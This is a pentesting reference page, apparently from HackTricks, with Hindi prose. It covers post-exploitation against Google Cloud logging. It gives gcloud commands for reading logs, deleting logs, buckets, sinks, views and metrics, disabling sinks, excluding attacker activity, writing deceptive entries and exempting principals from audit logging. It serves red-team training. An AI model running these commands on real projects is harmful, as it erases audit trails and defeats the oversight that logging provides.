GCP - Logging Post Exploitation

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Basic Information

For more information check:

GCP - Logging Enum

For other ways to disrupt monitoring check:

GCP - Monitoring Post Exploitation

Default Logging

डिफ़ॉल्ट रूप से, आपको केवल पढ़ने की क्रियाएँ करने के लिए पकड़ा नहीं जाएगा। अधिक जानकारी के लिए लॉगिंग एनम सेक्शन देखें।

Add Excepted Principal

https://console.cloud.google.com/iam-admin/audit/allservices और https://console.cloud.google.com/iam-admin/audit पर प्रिंसिपल जोड़ना संभव है ताकि लॉग उत्पन्न न हों। एक हमलावर इसका दुरुपयोग कर सकता है ताकि पकड़ा न जाए।

Read logs - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

लॉग लिखें - logging.logEntries.create

# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.delete

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.delete

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

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